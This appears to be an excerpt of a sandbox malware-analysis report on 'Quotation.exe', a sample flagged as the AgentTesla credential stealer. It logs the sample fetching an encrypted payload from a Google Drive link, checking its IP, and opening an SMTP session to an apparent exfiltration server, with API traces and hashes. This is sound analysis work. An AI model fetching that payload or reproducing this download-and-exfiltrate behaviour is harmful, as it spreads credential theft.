https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49773	142.250.185.97	443	2284	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 09:00:29 UTC	258	OUT	GET /download?id=1JtejAXTm-04H2_VGdyQPa2y9ROwwzcu6&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-04 09:00:31 UTC	4925	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="WtKJYNjGsumPYqqm240.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 240192 Last-Modified: Fri, 01 Nov 2024 07:38:28 GMT X-GUploader-UploadID: AHmUCY1xMiElQZ1Kk1X3uNuPD5nKyWYyzQHP7EP7dT4WRCsb8QSGGPJJLLIzXevfNXnifjaf9uDOjB2-cw Date: Mon, 04 Nov 2024 09:00:31 GMT Expires: Mon, 04 Nov 2024 09:00:31 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=LFTVKA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-04 09:00:31 UTC	4925	IN	Data Raw: b0 14 b4 cb 85 d3 05 84 7c 41 25 b7 dc 9f 3b 4b 3b 91 bc 06 05 fd 94 87 dc d4 f6 07 c3 23 9d c1 38 45 45 f7 9d 0e 60 29 00 1f 4c 50 38 04 da 53 a0 60 e6 c8 4d 42 a1 7b 8b 57 3e a3 69 7d 5d 37 da a9 93 dc 7b 6c 7c c9 56 cf 21 0e 99 62 ff 8e 9b 55 fd 96 e8 16 bb da 43 41 74 a2 4b 52 0d 14 7e fd 9b 71 9b 1c 8b b3 23 cd db 30 3e 37 45 35 ff f7 95 df 6d 8d 8b 38 ae 8d 2c 5b 46 81 25 5e ed 3a 3f 09 2f 05 ff 53 f1 06 1b 2b 48 22 05 e8 1b 18 6f 41 6c cf 06 c5 d5 89 23 9f 65 98 7e a1 8c 40 b7 98 ad 82 b8 c9 68 24 a1 64 91 c5 12 c5 1d 0b 35 16 17 fb 1b 24 27 8a b4 68 49 fa 3d 3f 08 cf dc fb 19 0e e3 87 a5 57 68 d7 02 aa fe 0b 97 d6 fb 05 55 d8 91 af 0a 6d 6f 99 a3 ec 80 6a 53 94 91 72 5b e2 18 4e e2 98 7f 3c a4 2f 22 85 d6 bd f1 03 44 e0 ef d6 dc d0 d0 73 ed 98 b4 Data Ascii: \|A%;K;#8EE`)LP8S`MB{W>i}]7{l\|V!bUCAtKR~q#0>7E5m8,[F%^:?/S+H"oAl#e~@h$d5$'hI=?WhUmojSr[N</"Ds
2024-11-04 09:00:31 UTC	4851	IN	Data Raw: e4 43 04 da 69 70 65 d0 e7 e8 57 a7 dc 43 c2 60 66 2a 24 48 bc 85 a9 66 c2 c1 7a f4 ec de 60 76 11 52 13 d4 04 eb ee 67 ff 56 ca 58 60 7c 93 db b9 6e b4 57 89 83 2f 3b 8e 45 bd ef fc 81 e1 c1 8c df bf 76 61 59 8f aa b4 f9 e1 5f b8 25 7d 63 4a 40 bb 49 1e d6 e2 b5 6c 26 9b 65 cd 47 1b 49 56 62 72 e7 d8 a3 77 e8 a3 5c 16 a5 c8 77 6b 2f da ec ac b0 4e f5 52 3c cd bf 67 ae f5 77 58 e3 97 ea 86 6e 66 e4 f6 94 3c 8c 6f 07 3f f5 f5 54 9a 05 2e 9e 4d 88 41 ca e2 1f 78 33 12 d0 00 44 b7 53 6f 51 5b 30 83 b2 53 4f d2 1f 07 33 25 cb 61 a0 d5 00 3b 02 7c d1 b8 6b 62 18 c8 99 15 b3 c2 1c fc e1 88 c2 2d a4 7d 70 a8 ed c2 80 d8 b5 0d de b1 95 09 3a 82 97 11 ea fb fe d8 af 62 7f f5 e3 ba 9e c3 2e c4 bf 27 54 af 2b ce 03 b4 c8 35 a8 26 fb f8 8c 33 d4 2a e9 22 1c cb 91 38 Data Ascii: CipeWC`f$Hfz`vRgVX`\|nW/;EvaY_%}cJ@Il&eGIVbrw\wk/NR<gwXnf<o?T.MAx3DSoQ[0SO3%a;\|kb-}p:b.'T+5&3"8
2024-11-04 09:00:31 UTC	1322	IN	Data Raw: b6 15 12 1f dc 1a e7 0b ba 49 0b 69 04 a7 07 3e 55 f5 62 77 23 a3 45 93 28 64 fc fb a2 81 99 b2 0f 16 96 8c 2c 33 49 ce 04 75 c5 ec 97 5f 5a f1 a7 6a 2f 66 06 ae f6 27 d2 04 b0 9a 33 1a 30 33 93 35 8d bf 5f 28 90 c8 80 3c 13 1a 77 f4 ef 38 67 97 25 3e 7f 23 79 3b ba c2 57 f4 dd 3a 19 87 f3 03 dc 12 34 54 89 52 cf 2b f0 68 99 ff ae 26 55 fd 96 16 18 b7 da 03 bf 78 ae 4b 72 19 14 7e fd 65 70 a2 07 8b b3 23 33 d7 34 3e 1f 7b 35 ff fd 19 9b 6d 8d 8a c6 a0 8d 2c 7b d3 81 25 5e 1d 2b 89 07 2f 4f fa 92 d0 9e 13 67 85 03 af 81 4b 7d 4f 31 1e 5e 6d b2 b4 cc 42 fc 04 fc ee c0 f8 60 f5 f7 8d f0 cd 59 46 41 cf 44 2b 86 4d e5 50 67 51 73 39 08 17 17 19 8a b4 68 b7 f6 3f 3f a6 86 dd fb 3a 4d e0 87 33 6c 0c b2 02 8a fa 0b 97 d6 05 0b b9 d8 93 50 0d 60 64 b9 83 4c 83 6a Data Ascii: Ii>Ubw#E(d,3Iu_Zj/f'3035_(<w8g%>#y;W:4TR+h&UxKr~ep#34>{5m,{%^+/OgK}O1^mB`YFAD+MPgQs9h??:M3lP`dLj
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: a6 31 0c f6 c9 41 e4 d4 1f fb 8b 55 cd 54 26 9a 78 bf 82 c2 c3 b1 78 38 9b 9e 88 96 f7 85 16 a1 4c c6 63 a6 4b 2f 7f 2b a8 e7 dd 2f 8f 14 16 8f 12 91 1e 13 39 da 15 12 c1 39 76 6b 60 bc 87 78 87 25 2e 86 0e 45 be 62 88 db 06 84 dd e5 98 b6 35 14 e1 dd 23 17 0a 83 4c 33 aa 06 9f 02 1e 4f f5 5a 81 23 52 b6 b9 28 9a f0 e4 92 a2 8b ab 0e 16 68 85 15 28 58 ee 04 8b c9 e8 69 79 67 f1 9f 65 a2 22 06 ae 09 d5 df 04 90 bf 20 1a 30 cd 6c 02 97 bf 5f d6 62 c8 80 1c e9 16 76 f4 51 23 5e b5 25 1e 79 dd 73 3b 44 e4 6b f4 dd ce 35 94 f3 23 de 78 6c 7c 37 53 f6 30 0e 66 9d 01 82 23 55 03 98 e9 16 9b d9 03 41 74 5c 45 51 0d 14 80 f1 98 71 bb 18 8b b3 23 33 da 09 1d 37 45 35 01 fe 95 df 11 ee 8b 38 aa 73 20 59 c6 7f 29 5f e3 0d 87 07 2f 9a 08 90 d0 be 3a 62 85 03 51 7e 7c Data Ascii: 1AUT&xx8LcK/+/99vk`x%.Eb5#L3OZ#R(h(Xiyge" 0l_bvQ#^%ys;Dk5#xl\|7S0f#UAt\EQq#37E58s Y)_/:bQ~\|
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: b0 7c 9e 59 99 54 85 cd ea a4 6d 41 3d 1e 84 c6 29 c7 50 41 4f 27 cd 86 cb 00 f5 c9 9f ee d7 1f fb 8b 58 f7 5a 06 9f 78 87 0d 3c c2 88 4e 3d 9b 9e 76 64 f9 86 e8 ad b3 ca 20 07 94 d8 80 0b ae 19 dc 16 7f 1a 15 8f 2a 1f 12 10 39 da 1c 12 c1 39 76 64 5a b6 87 86 8b 26 0e a7 05 45 be 9c 78 d9 3f a4 23 e9 9b 48 1c 12 e1 a6 47 e9 0b be b7 3e ab 06 dc 60 1e 4f f1 0d 4c dd ad 4f b3 24 9a f0 f7 5c af 88 b2 0f e8 64 8e 15 08 49 ce 04 8b 37 e9 ae 7d 64 f1 a7 60 83 23 06 ae f7 27 d2 07 b0 ba de 16 33 33 4d 37 81 bf 5f 28 9d fd 85 1c 17 1a 4f f1 11 39 5e 8d fb c3 80 22 0d 77 ba ea 62 0a d4 31 39 69 fa 01 dc 86 65 7f c9 7a fc 21 0e 60 b7 ff 95 13 50 fd 86 e9 16 bb d1 03 41 65 82 4b 52 0d 14 80 f3 98 71 a3 6f 8b b3 23 cd 25 3c 3d 37 65 37 ff f7 95 21 6c b4 85 38 ae 8d Data Ascii: \|YTmA=)PAO'XZx<N=vd *99vdZ&Ex?#HG>`OLO$\dI7}d`#'33M7_(O9^"wb19iez!`PAeKRqo#%<=7e7!l8
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: 64 b5 68 d6 84 ff b1 a4 af c4 e5 0d 2d f9 a7 f8 53 eb 3b 57 7a d3 f9 4e 55 9b 59 b9 54 7b cc d3 9e c3 41 3d 26 a1 c4 29 c7 68 ed be db 32 ac 35 0c f6 d2 8f e8 d7 ff fb 75 59 c2 54 06 8e 58 bf 82 3c c2 76 60 3a 9b a6 f7 9a f7 85 e8 53 41 c4 23 27 b5 d0 80 0b 50 e6 e4 33 71 1a 15 71 1b 6f 12 6b 4d fa 15 16 e9 65 88 6a 53 8c 2a 78 87 25 2e 85 0e 45 be 62 88 da 06 84 dd e5 99 b6 35 10 e1 dd 23 17 0a 83 5b 33 aa 06 87 07 1e 4f f5 9c 79 dd ad 69 90 28 9a f0 09 ac a3 8b b2 f1 1a 6a 8d 35 28 49 ce 04 75 c8 d1 9d 77 64 f1 a7 40 a2 22 06 ae 09 d7 de 04 b0 44 2c 18 30 13 6e 3b 81 bf a1 d7 a5 c1 80 1c 17 22 72 f4 11 39 66 cf da c1 80 23 7a 3b ba 91 1d f4 dd 34 1c 69 fd 02 dc 86 61 7c c9 7a 92 21 0e 6c 63 f6 8e 23 2e 89 96 e8 12 93 dc 03 41 72 5c 42 52 0d 66 45 ff 9b Data Ascii: dh-S;WzNUYT{A=&)h25uYTX<v`:SA#'P3qqokMejS*x%.Eb5#[3Oyi(j5(Iuwd@"D,0n;"r9f#z;4ia\|z!lc#.Ar\BRfE
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: 19 68 0c c3 7e 27 45 6a 05 d5 76 39 4a da 25 f1 d4 b3 79 ce 9e fa 26 64 b5 9c aa c9 f5 b1 a0 8f 85 c5 0c 2d 07 a9 06 5d eb c5 5b 84 df d9 4c 75 9f 59 47 55 bc df ea 9b c3 bf 34 1e a4 ec 64 c7 50 b9 61 27 cd 86 35 f2 f8 c9 bf ea 29 13 fb 75 79 c7 54 06 9f 86 be bb 1f c2 88 6e c6 92 9e 76 b2 b2 85 e8 ab b3 cf 22 07 94 a3 80 0b ae 19 dc 70 48 17 17 8f 12 4f 18 10 39 fa eb 1c c1 39 88 94 55 b6 87 58 90 25 0e 87 f0 44 87 96 86 d8 06 ae 03 f1 9b b6 15 ec ef dd 23 e9 f5 b6 49 33 8a 4c a7 07 1e b1 f4 5b 7d dd ad 49 b9 08 d1 f0 f7 a2 5f 85 b2 0f 16 96 81 15 28 69 af 04 8b c9 16 96 4e 46 f1 a7 60 5d 2b 06 ae d2 a2 a8 04 b0 be 52 96 34 33 1d 13 9a bf 5f dc e1 b0 80 1c 13 3a 15 f4 11 39 a0 bb 25 3e 7f 23 7f 3b ba ca 5a f4 dd 30 c7 96 ca 09 dc 78 6c 56 e9 61 cf 21 0e Data Ascii: h~'Ejv9J%y&d-][LuYGU4dPa'5)uyTnv"pHO99UX%D#I3L[}I_(iNF`]+R43_:9%>#;Z0xlVa!
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: 20 79 d1 66 d2 5e 52 5f ef 66 bd fb 21 b4 38 dc 4e 5f 3d 6b 03 2f 5e 11 51 2e e6 05 53 bb 63 01 a7 81 46 3e aa 0d ee a6 31 77 b3 9a d2 3d 60 95 82 d7 bd f5 4f aa af c4 c5 f2 21 f9 a7 26 61 eb 3b 57 7a de c0 59 75 9f 59 47 5d 84 cd ca eb c3 41 3d 5e cf 39 d6 38 70 82 41 24 cd 78 3b 0c f6 c9 41 e6 d7 1f db 7d 59 ce 54 f8 9e 41 b5 82 3c c2 a2 4e 31 9b 9e 76 64 f9 85 e8 ad b3 ca 23 07 94 e9 80 0b ae 19 dc 16 66 1a 15 8f ec 66 13 10 19 f7 15 12 c1 79 27 95 a6 49 a7 42 87 25 0e 79 00 45 be 9c 78 d4 06 84 03 cc 9b b6 15 ec e0 e4 01 e9 0b ba b7 3a aa 06 82 7c 6a 4f f5 66 05 03 a9 49 e3 00 81 f0 f7 a8 dc ff b2 0f 12 48 ab 15 28 49 30 0a 8b c9 e8 69 7b 64 f1 87 4b a3 22 06 50 f6 e0 fe 04 b0 ba de 13 30 33 48 40 f5 bf 5f d2 ee 2e 84 1c 67 32 6c f4 11 33 23 c1 25 3e Data Ascii: yf^R_f!8N_=k/^Q.ScF>1w=`O!&a;WzYuYG]A=^98pA$x;A}YTA<N1vd#ffy'IB%yEx:\|jOfIH(I0i{dK"P03H@_.g2l3#%>
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: eb c1 7d 67 03 53 eb 56 1a 25 ac ae cc 72 31 1e 4c 8b 66 44 f1 4f 07 2b 87 df 66 2c 5f 95 59 ef 66 9d c2 01 b8 38 22 4f 98 11 6b 03 2f 5e 14 51 2e e3 2c 27 bb 63 fb d4 6a 60 3e da 25 0b af 31 7d eb 95 a6 3d 64 b1 e4 5d b8 f5 c1 8c b4 c4 c5 06 50 8d a7 06 59 cb 68 57 84 df 07 40 75 9f 59 47 58 85 cd ca 91 c3 41 3d e0 a5 fd 0b c7 50 bf bf 2d cd 86 10 77 82 c9 bf ee a5 8b fe 75 29 e6 4f 06 9f 72 c2 f6 3c c2 8c 4e 33 9b 9e 76 64 f9 85 e8 ad b3 ca 23 07 94 dd 80 0b ae 19 dc 16 53 1a 15 8f ec 66 12 10 1c 81 61 12 c1 3d fa cc 5c b6 f7 50 9c 25 0e 8d 73 31 be 9c 82 f8 08 84 23 e9 65 b8 15 12 e1 23 2f e9 0b 9a 4a 33 aa 06 59 06 27 58 f5 62 77 23 a4 48 93 08 92 f0 f7 a2 e1 47 45 f0 e9 48 89 15 28 49 30 0a 8b c9 e8 69 7b 64 f1 87 28 a3 22 06 50 f6 e0 cb 04 b0 ba de Data Ascii: }gSV%r1LfDO+f,_Yf8"Ok/^Q.,'cj`>%1}=d]PYhW@uYGXA=P-wu)Or<N3vd#Sfa=\P%s1#e#/J3Y'Xbw#HGEH(I0i{d("P
2024-11-04 09:00:31 UTC	1378	IN	Data Raw: 01 b8 bc 6a 6c ce 87 78 49 0b bf 5f 32 39 b3 34 6a 83 7d 09 75 58 43 eb c1 89 14 77 53 eb ac 36 1d ac 8e a1 8c 3f 1e b2 8a a1 42 f1 4f 27 0a a7 b1 66 d2 5e 52 5d ef 66 9d 16 2d b4 38 02 1e 66 1f 6b fd 2e 99 0f 51 2e c3 80 2e ba 63 25 a2 53 42 3e 9a fb 04 59 ce 5d 9c ee d2 3d 9a bb 96 d7 bd 0b bd a4 af e4 f1 0c 2d f9 59 07 64 c9 3b 57 84 21 f0 4e 75 ba 22 cd 54 85 c9 98 a9 c5 41 4d 36 bf c4 29 cd 2d cb 41 24 c9 a6 00 0c f6 c9 41 e4 d7 1f fb 8b 55 ce 54 26 c6 78 bf 82 c2 c3 b1 64 38 9b 9e 5c ba ad 85 e8 ad b3 c8 23 07 b4 2e 8c 0b ae c7 fe 2f 71 1a eb 8e 2b 65 12 10 39 d0 35 36 c1 39 88 94 57 b6 87 78 79 29 0e 87 2e 5d be 9c 86 26 07 bd 34 e9 9b b6 eb 1b e0 dd 03 cf 0b ba 49 73 9d f1 58 f8 3e 56 f5 62 77 23 a3 49 93 28 64 fc f7 a2 81 fa b2 0f 16 96 8c 2c 07 Data Ascii: jlxI_294j}uXCwS6?BO'f^R]f-8fk.Q..c%SB>Y]=-Yd;W!Nu"TAM6)-A$AUT&xd8\#./q+e9569Wxy).]&4IsX>Vbw#I(d,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49802	104.26.13.205	443	2284	C:\Users\user\Desktop\Quotation.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 09:00:33 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-04 09:00:34 UTC	399	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 09:00:34 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8dd36a189f5f6b4b-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1990&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=769&delivery_rate=1445109&cwnd=251&unsent_bytes=0&cid=ca77278fac089279&ts=193&x=0"
2024-11-04 09:00:34 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 Data Ascii: 173.254.250.69

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 4, 2024 10:00:36.501033068 CET	587	49815	67.23.226.139	192.168.2.5	220-super.nseasy.com ESMTP Exim 4.96.2 #2 Mon, 04 Nov 2024 04:00:36 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 4, 2024 10:00:36.501220942 CET	49815	587	192.168.2.5	67.23.226.139	EHLO 745773
Nov 4, 2024 10:00:37.581612110 CET	587	49815	67.23.226.139	192.168.2.5	250-super.nseasy.com Hello 745773 [173.254.250.69] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 4, 2024 10:00:37.581650972 CET	587	49815	67.23.226.139	192.168.2.5	250-super.nseasy.com Hello 745773 [173.254.250.69] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 4, 2024 10:00:37.581680059 CET	587	49815	67.23.226.139	192.168.2.5	250-super.nseasy.com Hello 745773 [173.254.250.69] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 4, 2024 10:00:37.581854105 CET	49815	587	192.168.2.5	67.23.226.139	STARTTLS
Nov 4, 2024 10:00:37.582514048 CET	587	49815	67.23.226.139	192.168.2.5	250-super.nseasy.com Hello 745773 [173.254.250.69] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 4, 2024 10:00:37.739248991 CET	587	49815	67.23.226.139	192.168.2.5	220 TLS go ahead

Target ID:	0
Start time:	03:59:52
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\Quotation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation.exe"
Imagebase:	0x400000
File size:	1'208'728 bytes
MD5 hash:	9ED064F0FEB2397BB999563751C20B92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:00:15
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\Quotation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Quotation.exe"
Imagebase:	0x400000
File size:	1'208'728 bytes
MD5 hash:	9ED064F0FEB2397BB999563751C20B92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3293340440.0000000033D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	30.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.4%
Total number of Nodes:	827
Total number of Limit Nodes:	18

Executed Functions

Function 004036DA Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 416
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 004036F6
GetVersionExW.KERNEL32(?), ref: 0040371F
GetVersionExW.KERNEL32(?), ref: 00403732
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004037DA
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403814
OleInitialize.OLE32(00000000), ref: 0040381B
SHGetFileInfoW.SHELL32(004085B0,00000000,?,000002B4,00000000), ref: 0040383A
GetCommandLineW.KERNEL32(007A7540,NSIS Error), ref: 0040384F
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Quotation.exe",?,"C:\Users\user\Desktop\Quotation.exe",00000000), ref: 0040389B
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403999
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004039AA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039B6
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039CA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004039D2
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004039E3
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004039EB
DeleteFileW.KERNELBASE(1033), ref: 00403A05

Part of subcall function 004033CB: GetTickCount.KERNEL32 ref: 004033DE
Part of subcall function 004033CB: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Quotation.exe,00000400), ref: 004033FA

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Quotation.exe",00000000,00000000), ref: 00403AA8
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00408600,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Quotation.exe",00000000,00000000), ref: 00403ABB
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Quotation.exe",00000000,00000000), ref: 00403ACA
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,007B4800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Quotation.exe",00000000,00000000), ref: 00403AD9
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403B01
DeleteFileW.KERNEL32(0079F200,0079F200,?,007A9000,?), ref: 00403B54
CopyFileW.KERNEL32(C:\Users\user\Desktop\Quotation.exe,0079F200,00000001), ref: 00403B66
CloseHandle.KERNEL32(00000000,0079F200,0079F200,?,0079F200,00000000), ref: 00403B9F

Part of subcall function 00405DFC: CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00405E04
Part of subcall function 00405DFC: GetLastError.KERNEL32 ref: 00405E0E

OleUninitialize.OLE32(00000000), ref: 00403BCD
ExitProcess.KERNEL32 ref: 00403BE4
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BFA
OpenProcessToken.ADVAPI32(00000000), ref: 00403C01
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C16
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403C39
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C5E

Part of subcall function 004065D4: CharNextW.USER32(?,0040389A,"C:\Users\user\Desktop\Quotation.exe",?,"C:\Users\user\Desktop\Quotation.exe",00000000), ref: 004065EA

Strings

~nsu, xrefs: 00403A9C
SeShutdownPrivilege, xrefs: 00403C10
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E6
UXTHEME, xrefs: 004037CE, 004037D3, 004037D9
TMP, xrefs: 004039E6
"C:\Users\user\Desktop\Quotation.exe", xrefs: 00403856, 0040388C, 00403894, 00403A22, 00403A2E
Low, xrefs: 004039CC
.tmp, xrefs: 00403AC0
NSIS Error, xrefs: 00403840
C:\Users\user\overlays\besvangredes, xrefs: 0040397E, 00403A6D, 00403B07, 00403B15
\Temp, xrefs: 004039B0
TEMP, xrefs: 004039DE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040398E, 00403993, 004039A9, 004039B5, 004039C4, 004039D1, 004039DD, 004039E5, 00403AA1, 00403AB6, 00403AC5, 00403AD4, 00403AE7, 00403AFC, 00403BB4
Error launching installer, xrefs: 00403A4D
1033, xrefs: 00403A00
C:\Users\user\Desktop\Quotation.exe, xrefs: 00403B61

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

